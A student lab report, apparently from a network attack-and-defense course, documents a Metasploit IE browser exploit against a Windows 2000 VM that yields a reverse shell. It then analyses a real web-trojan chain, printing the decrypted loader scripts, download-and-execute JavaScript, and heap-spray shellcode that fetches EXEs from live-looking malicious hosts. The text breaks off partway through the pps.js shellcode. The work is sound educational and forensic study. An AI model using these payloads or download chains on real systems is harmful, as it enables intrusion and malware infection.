20253910 2024-2025-2 《网络攻防实践》实践十一报告
《网络攻防实践》第十一次作业报告
一、实践内容概述
1.1 Web 浏览器渗透攻击原理分析
Web 浏览器渗透攻击与传统的服务端漏洞利用在攻击思路上存在本质差异。服务端攻击通常针对服务器对外开放的网络服务端口,如 Web 服务、数据库服务、文件共享服务等;而浏览器端攻击则将目标转向用户主机上的浏览器程序、ActiveX 控件、浏览器插件、脚本解释器或旧版系统组件。攻击能否成功触发,不仅取决于漏洞模块本身的可用性,还受到多种因素的影响:用户是否访问了特定页面、浏览器版本是否与漏洞匹配、脚本和 ActiveX 控件是否被允许运行,以及漏洞触发后浏览器进程的稳定性等。
网页木马通常以一个看似普通的网页作为攻击入口。当用户访问该入口页面后,页面中嵌入的 JavaScript 代码、隐藏 iframe 或 object 标签会进一步加载漏洞利用代码。这些漏洞利用代码针对浏览器或浏览器控件的已知缺陷构造异常输入数据,迫使浏览器执行攻击者预先指定的 payload。Payload 是漏洞利用成功后真正执行的恶意载荷,常见的形式包括反向连接 shell、绑定端口 shell、下载执行器等。在 Metasploit 框架中,攻击成功后通常会建立一个 session 会话,攻击方可以通过该会话在目标机器上执行系统命令,从而验证漏洞利用的实际效果。
本次实验采用的 Windows 2000 / IE 环境属于较早期的系统版本,非常适合复现早期浏览器端漏洞利用场景。由于这类攻击高度依赖浏览器进程的运行状态,在实验过程中出现了页面能够正常访问但 session 未能成功返回、浏览器意外崩溃、仅触发部分漏洞路径等现象。这些现象本身也是浏览器漏洞实验中值得观察和分析的重要内容。
1.2 Metasploit 浏览器漏洞利用模块说明
本次实验主要涉及两个 Metasploit 浏览器端漏洞利用模块:MS06-014 对应的 exploit/windows/browser/ie_createobject,以及 MS06-055 对应的 exploit/windows/browser/ms06_055_vml_method。这两个模块都属于面向旧版 Windows / Internet Explorer 环境的客户端攻击模块,其攻击方式均依赖于目标机器上的浏览器主动访问攻击方提供的恶意 URL。
exploit/windows/browser/ie_createobject 模块对应 MS06-014 相关漏洞利用场景,主要利用旧版 Internet Explorer 在 ActiveX / COM 对象创建与调用过程中存在的安全缺陷。当目标浏览器访问恶意页面后,页面中的脚本会尝试触发 CreateObject 相关的漏洞,并执行攻击者指定的 payload。本次实验中使用该模块构造恶意网页 URL,在 Win2K 靶机访问后成功建立了远程 shell 会话。
exploit/windows/browser/ms06_055_vml_method 模块对应 MS06-055 相关漏洞利用场景,主要面向旧版 Internet Explorer 中 VML(Vector Markup Language,矢量标记语言)处理逻辑中存在的远程代码执行漏洞。VML 是早期 IE 浏览器支持的一种矢量图形标记语言,漏洞利用页面通常包含 VML 标签、behavior:url(#default#VML) 行为声明、unescape("%u....") 形式的 shellcode 编码,以及堆喷射(heap spray)结构。当靶机访问该页面后,如果浏览器版本和系统补丁状态满足漏洞触发条件,就可能成功执行 payload。
1.3 网页木马常见混淆与加载技术
网页木马很少直接将完整的攻击逻辑暴露在入口页面中,常见的做法是将真实 URL、漏洞利用代码和恶意下载地址隐藏在多层脚本结构中。隐藏 iframe 是最常用的加载方式之一,页面通过设置宽高为 0 或 1 的 iframe 在后台静默加载其他网页,使用户在表面上只看到一个普通页面,而实际上浏览器已经在后台访问了漏洞利用页面。script 标签也常用于加载远程 JavaScript 文件,使入口页面保持简短,同时将主要的攻击逻辑放在外部脚本中。
JavaScript 混淆技术通常包括以下几种方式:字符串十六进制编码、八进制转义、eval() 动态执行、unescape("%u....") 编码、Base64 编码、XXTEA 加密等。十六进制编码可以将 URL 转换成不易直观识别的字符序列;Base64 与 XXTEA 组合可以隐藏大段脚本内容;eval() 可以在运行时动态恢复并执行真实代码;unescape("%u....") 常用于构造 shellcode。堆喷射则是浏览器漏洞利用中的一种常见技术,通过在内存中大量填充 NOP sled 与 shellcode,提高漏洞触发后程序跳转到有效载荷的概率。
这些混淆与加载技术的目的并非单一的"加密",而是为了延迟安全分析人员的分析过程、绕过简单的特征检测机制、分阶段投递攻击代码,并根据目标机器上安装的组件情况选择不同的二阶段脚本或可执行文件。
1.4 网页木马取证分析思路
网页木马的取证分析需要从入口页面出发,按照攻击链条逐层还原。首先检查入口文件中的 iframe、script、object 标签、JavaScript 字符串和可疑 URL,确定第一跳加载的资源。若实验环境使用 URL 的 MD5 值作为文件名保存资源,则每发现一个 URL 都需要计算其 32 位 MD5 哈希值,并在对应的 hashed 文件夹中查找匹配的文件。需要注意的是,文件名要求使用小写字母且不带扩展名,否则容易出现文件无法匹配的情况。
如果取回的是网页或脚本文件,需要继续查看其中是否存在二次加载、混淆代码或加密字符串。对于 Base64、XXTEA、十六进制、八进制、Packer 混淆等内容,应先识别编码方式和密钥,再逐层进行解码。若解密后得到的是二进制程序的下载地址,则需要下载对应的散列文件,并转入静态分析阶段。静态分析可以从文件类型、加壳特征、字符串信息、导入函数、注册表操作、文件操作、网络下载地址等多个角度展开。
本次取证分析的核心链条为:start.html 定位 new09.htm,new09.htm 加载外部 iframe 和 script 资源,脚本经 XXTEA + Base64 解密后继续加载 1.js、b.js、pps.js 和 bd.cab,二阶段脚本再下载多个 EXE 文件,最终对可执行文件进行脱壳和 IDA 静态分析。
1.5 攻防对抗中的检测与防御思路
在攻防对抗场景中,防守方不能仅仅关注邮件正文中表面展示的 URL。挂马链接可能只是一个统一入口,真实的漏洞利用地址会被十六进制编码、Base64 编码、JavaScript 函数或多层 iframe 隐藏。防守分析应从邮件 URL 提取开始,离线查看入口页面的源代码,识别脚本中的解码函数,恢复真实的漏洞利用地址,并结合网络抓包结果判断浏览器实际访问了哪些资源。
在流量层面需要重点观察以下特征:HTTP 请求路径、响应内容、User-Agent 信息、VML 标签、ActiveX 对象创建行为、unescape("%u....") shellcode、堆喷射填充模式、可疑的 EXE/CAB 文件下载,以及靶机是否主动连接攻击方的监听端口。若 TCP 流中出现了 Windows 命令行 banner 和命令回显信息,可以判定攻击者已经获得了交互式命令执行能力。
防御措施主要包括:及时更新操作系统和浏览器安全补丁,禁用不必要的 ActiveX 控件和脚本执行功能,限制旧版浏览器访问未知来源的页面,在邮件网关中提取和重写可疑 URL,通过 IDS/IPS 规则识别 VML、堆喷射和异常 shellcode 特征,在终端侧监控异常子进程创建、恶意文件落地、自启动项添加、注册表修改和反向连接行为。对于旧系统实验环境,还需要认识到漏洞利用本身存在不稳定性,抓包数据和主机侧证据应结合起来进行综合分析。
二、实验过程
2.1 实验环境与网络连通性测试
本次实验分为浏览器渗透攻击、网页木马取证分析和攻防对抗实践三个部分。不同部分使用的虚拟机环境如下表所示:
| 角色 | 主机标识 | 操作系统 | IP 地址 | 作用 |
|---|---|---|---|---|
| 攻击机 | Kali | Kali Linux | 192.168.200.2 | 运行 Metasploit,提供恶意网页服务,监听 shell 会话 |
| 靶机 | Win2K | Windows 2000 | 192.168.200.14 | 使用 IE 访问恶意 URL,验证浏览器漏洞利用效果 |
| 分析环境 | Kali | Kali Linux | 本地分析环境 | 查看网页木马文件、使用工具进行解混淆与静态分析 |
实验开始前,首先在 Kali 攻击机的终端中执行 ping 192.168.200.14 命令,向 Windows 2000 靶机发送 ICMP 回显请求数据包,验证两台虚拟机之间的网络连通性。从返回结果可以看到,每个数据包的大小为 56 字节(加上 8 字节 ICMP 头部共 64 字节),TTL 值为 128(这是 Windows 系统的典型 TTL 值),往返时间在 0.152ms 到 0.358ms 之间波动,说明两台虚拟机处于同一局域网网段内,网络通信质量良好。

连通性测试结果显示,Kali 与 Windows 2000 靶机之间可以正常通信,为后续浏览器访问恶意 URL、payload 回连或 shell 连接建立提供了基础网络条件。
2.2 Web 浏览器渗透攻击实验:MS06-014
本部分使用 Metasploit 中的 MS06-014 相关浏览器漏洞利用模块,对 Win2K 靶机进行浏览器端渗透攻击实验。实验目标是构造恶意网页 URL,使靶机 IE 访问后触发漏洞,并在 Metasploit 中建立可交互的远程 shell 会话。
2.2.1 启动 Metasploit 并查找模块
在 Kali 攻击机中打开终端,首先执行 sudo su 命令切换到 root 用户,以避免后续操作中出现权限不足的问题。系统会提示输入 kali 用户的密码,输入正确密码后即可获得 root 权限。切换到 root 用户后,执行 msfconsole 命令启动 Metasploit 框架控制台。Metasploit 启动过程中会加载所有可用的模块、payload 和辅助工具,启动完成后会显示 Metasploit 的欢迎界面和命令行提示符 msf6 >。

进入 Metasploit 控制台后,执行 use exploit/windows/browser/ie_createobject 命令直接加载 MS06-014 相关的浏览器漏洞利用模块。该模块利用的是 Internet Explorer 中 CreateObject 方法的安全缺陷。加载模块后,Metasploit 会显示模块路径并自动设置默认的 payload。接着执行 info 命令查看该模块的详细信息,包括模块描述、作者、引用链接、可用目标平台等。从 info 输出中可以了解到该模块主要针对旧版 Windows 系统上的 Internet Explorer 浏览器,利用 ActiveX 控件创建过程中的漏洞实现远程代码执行。

该模块面向旧版 Internet Explorer / ActiveX 场景,符合本次 Windows 2000 靶机环境的攻击需求。
2.2.2 选择 payload 并查看可用选项
在 Metasploit 中执行 show payloads 命令,查看当前 ie_createobject 模块兼容的所有可用 payload 列表。该命令会输出一个包含序号、名称、披露日期、等级、检查状态和描述的表格。列表中包含了多种类型的 payload,如通用 payload(generic)、Windows shellcode 阶段 payload(windows/shellcode)、Windows shell payload(windows/shell)、Windows Meterpreter payload(windows/meterpreter)、DLL 注入 payload(windows/dllinject)、PE 注入 payload(windows/peinject)等。

继续向下滚动查看完整的 payload 列表,可以看到从序号 1 到序号 165 的所有可用选项。在众多 payload 选项中,选择序号 156 的 windows/shell/reverse_tcp 作为远程 shell 连接类型。该 payload 会在目标机器上创建一个反向 TCP 连接,将 shell 会话回连到攻击机的指定监听端口。选择反向连接的原因是靶机通常位于 NAT 或防火墙后面,无法直接从外部建立入站连接,而反向连接由靶机主动发起,可以绕过大多数防火墙限制。

执行 set payload windows/shell/reverse_tcp 命令设置选定的 payload。
2.2.3 设置参数并启动 exploit 服务
接下来需要配置 exploit 模块和 payload 的关键参数。首先执行 set LHOST 192.168.200.2 命令,将攻击机的 IP 地址设置为 payload 回连的目标地址。然后执行 set RHOST 192.168.200.14 命令设置靶机地址(注:该模块实际不使用 RHOST 参数,但设置后便于记录)。接着执行 set SRVHOST 0.0.0.0 命令,将恶意网页服务的监听地址设置为 0.0.0.0,表示监听所有网络接口。最后执行 exploit 命令启动攻击服务。

Metasploit 启动后会在攻击机上提供恶意网页服务,并生成本次攻击使用的 URL:http://192.168.200.2:8080/BpSEAMbScmVku。该 URL 由攻击机 IP(192.168.200.2)、服务端口(8080)和随机生成的 URI 路径(BpSEAMbScmVku)组成。该 URL 即为靶机需要访问的恶意网页木马入口。同时,Metasploit 在本地 4444 端口启动了反向 TCP 监听器,等待靶机 payload 回连。
关键参数配置说明:
| 参数 | 设置值 | 说明 |
|---|---|---|
| payload | windows/shell/reverse_tcp | 反向 TCP shell 载荷 |
| LHOST | 192.168.200.2 | 攻击机监听地址 |
| RHOST | 192.168.200.14 | 靶机地址(注:该模块实际不使用此参数) |
| SRVHOST | 0.0.0.0 | 恶意网页服务监听地址 |
| SRVPORT | 8080 | 恶意网页服务端口 |
2.2.4 靶机访问恶意网页并建立会话
在 Win2K 靶机中启动 Internet Explorer 浏览器,在地址栏中输入 Metasploit 生成的恶意 URL http://192.168.200.2:8080/BpSEAMbScmVku,然后按回车键访问该页面。

浏览器页面中显示了一串随机字符 "hpwaPaxnqNUqqrCZYTDWsxGEppK"。这一现象可以理解为靶机访问 exploit 服务后,浏览器接收到了 Metasploit 返回的页面内容或漏洞触发过程中的输出信息,并不表示普通网页访问失败。对于浏览器端漏洞利用来说,页面显示是否正常不是唯一的判断标准,关键应观察 Metasploit 是否成功建立了 session。
从攻击机侧的 Metasploit 控制台可以看到 exploit 成功执行的完整过程:首先显示 "Started reverse TCP handler on 192.168.200.2:4444",表示反向 TCP 监听器已在 4444 端口启动;接着显示 "Using URL: http://192.168.200.2:8080/BpSEAMbScmVku",确认了恶意网页服务的 URL;然后显示 "Server started",表示 Web 服务已就绪。当靶机访问该 URL 后,Metasploit 依次输出 "ie_createobject - Sending exploit HTML"(发送漏洞利用 HTML 页面)、"ie_createobject - Sending EXE payload"(发送 EXE 格式的 payload)、"Sending stage (240 bytes) to 192.168.200.14"(向靶机发送 240 字节的阶段载荷)。最终显示 "Command shell session 1 opened (192.168.200.2:4444 -> 192.168.200.14:1053) at 2026-05-23 10:40:43 -0400",表示成功建立了命令 shell 会话,会话编号为 1,连接方向是从攻击机的 4444 端口到靶机的 1053 端口。

Metasploit 成功建立了与 Windows 2000 靶机的命令 shell 会话。在 Metasploit 控制台中执行 sessions -i 1 命令,进入编号为 1 的交互会话。该命令会切换到与靶机的交互式 shell 连接,命令行提示符会变为靶机的 shell 环境。

进入 shell 后,首先可以看到 Shell Banner 显示 "Microsoft Windows 2000 [Version 5.00.2195]",确认了靶机的操作系统版本。当前工作目录为 C:\Documents and Settings\Administrator\。接下来依次执行以下系统命令来验证对靶机的控制能力:
- 执行
net user命令,查看靶机上的所有用户账户列表。输出结果显示了 Administrator、Guest、ILS_ANONYMOUS_USER、TSInternetUser、NetShowServices 等系统账户,以及一个密码被隐藏的自定义账户。 - 执行
ipconfig命令,查看靶机的网络配置信息。输出结果显示了 Ethernet adapter 的连接特定 DNS 后缀、IP 地址(192.168.200.14)、子网掩码(255.255.255.128)和默认网关(192.168.200.1)。 - 执行
cd C:命令,切换到 C 盘根目录。

在 C 盘根目录下执行 dir 命令,查看 C 盘根目录的文件和文件夹列表。输出结果显示了 C 盘的卷标、序列号(5BD6-653E),以及目录下的文件和文件夹信息,包括 shared 文件夹和一个大小为 1,391 字节的快捷方式文件。

实验结果显示,Metasploit 成功建立与 Windows 2000 靶机的命令 shell 会话,并能够通过该 session 执行 net user、ipconfig、dir 等系统命令。由此可确认 MS06-014 浏览器端漏洞利用实验完成,攻击方获得了靶机上的远程命令执行能力。
2.3 取证分析实践:网页木马攻击场景分析
本部分对网页木马攻击链进行取证分析。分析过程遵循"入口文件—隐藏加载—散列文件—脚本解密—二阶段资源—可执行文件分析"的顺序展开,重点是还原网页木马的加载链条和最终载荷行为。
2.3.1 从 start.html 定位 new09.htm
取证分析从 start.html 开始。用文本编辑器打开 start.html 后,可以观察到文件的完整 HTML 结构。文件开头声明了 DOCTYPE 为 XHTML 1.0 Transitional,设置了字符集为 gb2312。在 <head> 部分定义了页面样式,包括链接颜色和访问后链接颜色。页面标题设置为"找不到网页",这是一个常见的伪装手段,让受害者以为页面加载失败而不会引起怀疑。在 <body> 标签中设置了 onload="Homepage()" 事件,表示页面加载完成后会自动执行 Homepage() JavaScript 函数。

Homepage() 函数的核心逻辑是通过解析当前文档的 URL 来构造 new09.htm 的访问路径。具体实现为:首先获取 document.URL(当前页面的完整 URL),然后查找 "😕/" 的位置确定协议分隔符,再查找 "/" 的位置确定服务器索引,最后通过字符串截取操作构造出 new09.htm 的相对路径。页面中对 new09.htm 的加载使用的是相对路径,说明在原始 Web 目录结构中,start.html 与 new09.htm 应处于同一目录。
由于本地获得的是单独下载的文件,而不是完整 Web 站点目录,无法直接通过原始目录下载 new09.htm。后续结合参考资料补全 new09.htm 的实际内容。该文件内容较短,核心是两条外部资源加载语句:

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
第一条语句使用隐藏 iframe(宽高均为 0)在后台静默加载 http://aa.18dd.net/aa/kl.htm 页面,用户无法察觉。第二条语句通过 script 标签加载外部 JavaScript 文件 http://js.users.51.la/1299644.js,该文件表面看起来像是 51.la 网站的统计脚本,实际上包含了经过混淆的恶意代码。可以判断,new09.htm 并不直接包含完整漏洞利用代码,而是通过隐藏 iframe 加载 kl.htm,并通过 script 标签加载 1299644.js。这符合网页木马常见的分层加载方式。
2.3.2 计算 URL 的 MD5 散列值并下载对应文件
对 new09.htm 中发现的两个 URL 分别计算 32 位 MD5 哈希值。使用在线 MD5 计算工具,将 URL 字符串输入到密文框中,类型选择"自动",点击"查询"按钮即可得到 MD5 哈希值。
第一个 URL http://aa.18dd.net/aa/kl.htm 的 MD5 计算过程:将完整 URL 字符串输入到 MD5 查询工具中,点击查询后得到 32 位十六进制哈希值。

md5(http://aa.18dd.net/aa/kl.htm) = 7f60672dcd6b5e90b6772545ee219bd3
第二个 URL http://js.users.51.la/1299644.js 的 MD5 计算过程:同样将完整 URL 字符串输入到 MD5 查询工具中,得到对应的 32 位哈希值。

md5(http://js.users.51.la/1299644.js) = 23180a42a2ff1192150231b44ffdf3d3
按照 MD5 散列值作为文件名(注意:文件名必须全部使用小写字母,且不带任何扩展名),在 hashed 文件夹中查找对应的文件。在 Kali 终端中执行 cd ~/Desktop/hashed 进入 hashed 目录,然后执行 ls -la | grep -E "(7f60672dcd6b5e90b6772545ee219bd3|23180a42a2ff1192150231b44ffdf3d3)" 命令,使用 grep 正则表达式过滤出两个目标文件。输出结果显示了两个文件:23180a42a2ff1192150231b44ffdf3d3(大小 10873 字节,修改日期 2008 年 4 月 7 日)和 7f60672dcd6b5e90b6772545ee219bd3(大小 36 字节,修改日期 2008 年 4 月 22 日)。

下载好之后,分别打开两个文件进行查看。第一个文件(对应 kl.htm)内容较直观,第二个文件(对应 1299644.js)中包含大量混淆代码:可以看到 function utf8to16、function base64decode、function xxtea_decrypt 等函数定义,以及大量经过编码的字符串。通过观察函数名和代码结构,可判断该脚本使用 Base64 与 XXTEA 组合对主要内容进行了隐藏。

2.3.3 XXTEA + Base64 解密过程
在混淆脚本的末尾可以找到关键的解密语句:
t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
这条语句给出了完整的解密思路。脚本变量 t 中保存的是 Base64 形式的密文,解密时需要按照以下顺序执行:首先执行 base64decode(t) 对密文进行 Base64 解码,得到中间密文;然后调用 xxtea_decrypt() 函数进行 XXTEA 解密,第二个参数 '\x73\x63\x72\x69\x70\x74' 是 XXTEA 解密密钥;最后调用 utf8to16() 将 UTF-8 编码的字符串转换为 UTF-16 编码。
将十六进制转义字符串 \x73\x63\x72\x69\x70\x74 逐字节还原为 ASCII 字符:\x73 对应 's',\x63 对应 'c',\x72 对应 'r',\x69 对应 'i',\x70 对应 'p',\x74 对应 't',组合起来即为 script。
因此,XXTEA 解密密钥为 script。
使用 CyberChef 在线工具进行解密操作。在 CyberChef 界面中,依次添加以下操作步骤(Recipe):第一步选择 "From Base64" 操作,对输入的 Base64 密文进行解码;第二步选择 "XXTEA Decrypt" 操作,在 Key 字段中填入解密密钥 script,格式选择 HEX;第三步选择 "Unescape string" 操作,将 JavaScript 转义字符串还原为可读文本。将混淆脚本中的 Base64 密文粘贴到 Input 区域,点击 "BAKE!" 按钮执行解密流程。

解密后得到的 JavaScript 代码如下:

该脚本是一个恶意漏洞探测与利用加载器,通过检测用户浏览器中可用的 ActiveX 控件,动态选择相应的漏洞利用脚本或载荷。脚本首先定义 init() 函数清空文档内容,然后在 window.onload 事件中调用该函数。接着检查 cookie 中是否包含 'OK' 标记,如果没有则执行漏洞探测逻辑。
解密后的完整脚本内容如下(对应 download.dat 文件):
<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>
从脚本内容可以看出,攻击者使用 eval() 函数包裹整个恶意逻辑,并通过 document.cookie 设置 24 小时有效期的标记 cookie,避免同一用户重复触发漏洞利用。脚本通过 try-catch-finally 结构依次尝试四种 ActiveX 控件,根据目标环境动态选择最优攻击路径。
2.3.4 漏洞探测与利用链分析
解密后的脚本展示了清晰的漏洞利用优先级链,通过 try-catch-finally 结构依次尝试不同的 ActiveX 控件:
首选路径: 尝试创建 ADODB.Stream 对象。脚本通过 document.createElement("object") 创建一个 object 元素,设置其 classid 属性为 clsid:BD96C556-65A3-11D0-983A-00C04FC29E36(这是 ADODB.Stream 的 CLSID),然后调用 createobject("Adodb.Stream","") 方法尝试创建 ADODB.Stream 对象。如果创建成功(变量 e 不等于 "[object Error]"),则通过 document.write() 动态写入一个 script 标签,加载 http://aa.18dd.net/aa/1.js 脚本。
- 成功 → 加载
http://aa.18dd.net/aa/1.js(该脚本下载 014.exe 并执行) - 失败 → 进入备用方案
备用方案(依次尝试以下控件,哪个可用就触发对应攻击):
- MPS.StormPlayer(暴风影音控件): 尝试创建
new ActiveXObject("MPS.StormPlayer"),如果成功(变量 f 不等于 "[object Error]"),则加载http://aa.18dd.net/aa/b.js脚本。该脚本利用堆喷射技术下载 bf.exe。 - POWERPLAYER.PowerPlayerCtrl.1(PPS 控件): 尝试创建
new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"),如果成功(变量 g 不等于 "[object Error]"),则加载http://aa.18dd.net/aa/pps.js脚本。该脚本针对 PPS 漏洞下载 pps.exe。 - BaiduBar.Tool(百度工具栏): 尝试创建
new ActiveXObject("BaiduBar.Tool"),如果成功(变量 h 不等于 "[object Error]"),则直接调用obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)方法下载 bd.cab 压缩包,解压后得到 bd.exe。
从漏洞探测页面中提取到四个二阶段恶意脚本文件:1.js、b.js、pps.js 以及 bd.cab。
2.3.5 二阶段脚本解混淆分析
1.js 分析:
对 1.js 进行解混淆处理。首先使用 CyberChef 的 "Unescape string" 操作将 JavaScript 十六进制转义字符串还原为可读文本。输入 1.js 的原始内容(经过十六进制编码的 eval 语句),输出得到包含 var url="http://down.18dd.net/bb/014.exe" 的明文代码。

接着使用 CyberChef 的 "JavaScript Beautify" 操作对代码进行格式化美化,添加适当的缩进和换行,使代码结构更加清晰。美化后的代码显示:首先定义变量 url 指向恶意 EXE 下载地址 http://down.18dd.net/bb/014.exe;然后尝试创建 Microsoft.XMLHTTP 对象发起 HTTP GET 请求下载该文件;使用 ADODB.Stream 对象将下载的二进制数据写入本地文件 ..\ntuser.com;最后通过 Shell.Application 对象的 ShellExecute 方法执行 cmd.exe /c 命令来运行下载的恶意程序。

解密结果显示,1.js 利用 ADODB.Stream 对象下载 http://down.18dd.net/bb/014.exe,并通过 Shell.Application 执行该文件。
1.js 的完整内容如下(对应 download (1).dat 文件):
eval('var url="http://down.18dd.net/bb/014.exe";
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\\\ntuser.com";
as.savetofile(path,2);
as.close();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
}catch(e){}');
该脚本的执行流程为:首先定义恶意 EXE 的下载地址 http://down.18dd.net/bb/014.exe;然后创建 Microsoft.XMLHTTP 对象发起同步 HTTP GET 请求下载该文件;使用 ADODB.Stream 对象将下载的二进制数据写入本地隐藏文件 ..\ntuser.com(使用相对路径尝试写入上级目录以规避检测);最后通过 Shell.Application 对象的 ShellExecute 方法执行 cmd.exe /c ..\ntuser.com 命令来运行下载的恶意程序。整个操作被包裹在 try-catch 结构中,即使执行失败也不会弹出错误提示。
b.js 分析:
对 b.js 进行解混淆处理。首先使用 CyberChef 的 "JavaScript Unpacker" 操作对经过 Packer 混淆的代码进行解包,还原出原始的 eval 语句。然后使用 "Unescape string" 操作将十六进制转义字符串还原。

使用 CyberChef 的 "JavaScript Beautify" 操作对代码进行格式化美化,添加缩进和注释,使代码结构更加清晰易读。

从美化后的代码中可以观察到堆喷射(heap spray)技术的实现细节:首先计算 slackspace = headersize + shellcode.length 确定填充块的大小;然后通过循环将 bigblock 不断自增翻倍;接着计算 fillblock 和 block 的大小,确保总长度接近 262144 字节(256KB);创建一个包含 300 个元素的数组 memory,每个元素都填充了 block + shellcode 的组合;最后通过 storm.rawParse(buffer) 方法触发漏洞执行 shellcode。堆喷射的目的是在内存中大量填充包含 shellcode 的内存块,提高漏洞触发后程序跳转到有效载荷的概率。
使用 CyberChef 的 "Extract URLs" 操作从代码中提取所有 URL 地址。在配置中选择 Delimiter 为 Auto,Encoding 为 Single byte,Minimum length 为 4,Match 为 Alphanumeric。输出结果显示了提取到的下载地址 http://down.18dd.net/bb/bf.exe。

b.js 通过堆喷射技术执行 shellcode,下载 http://down.18dd.net/bb/bf.exe。
b.js 的完整内容如下(对应 download (2).dat 文件):
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5356%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000');
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++)
memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068)
buffer += '\n\n\n\n';
storm.rawParse(buffer);
该脚本的堆喷射实现细节如下:首先使用 unescape('%u9090%u9090') 创建 NOP sled(0x9090 是 x86 架构的 NOP 指令的 Unicode 表示),然后通过循环将 bigblock 不断自增翻倍,直到接近目标大小;计算 fillblock 和 block 的大小,确保总长度接近 262144 字节(256KB);创建一个包含 300 个元素的数组 memory,每个元素都填充了 block + shellcode 的组合,使 shellcode 在内存中大量分布;最后构造一个 4068 字节大小的 buffer(通过重复换行符填充),调用 storm.rawParse(buffer) 方法触发暴风影音控件的缓冲区溢出漏洞,使程序跳转到堆喷射区域执行 shellcode。shellcode 中编码了恶意下载地址 http://down.18dd.net/bb/bf.exe。
pps.js 分析:
对 pps.js 进行解混淆处理。使用 CyberChef 的 "Find / Replace" 操作将数字编码(如 75\142\151...)转换为对应的字符,然后使用 "Unescape string" 操作还原十六进制转义字符串,最后使用 "JavaScript Beautify" 操作进行代码格式化。

解密后的代码显示,pps.js 针对 PPS / PowerPlayer 控件的漏洞进行触发,通过构造恶意的 ActiveX 对象调用,下载 http://down.18dd.net/bb/pps.exe。
pps.js 的完整内容如下(对应 download (3).dat 文件):
eval("/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103
%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904
%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b
%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e
%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d
%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320
%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
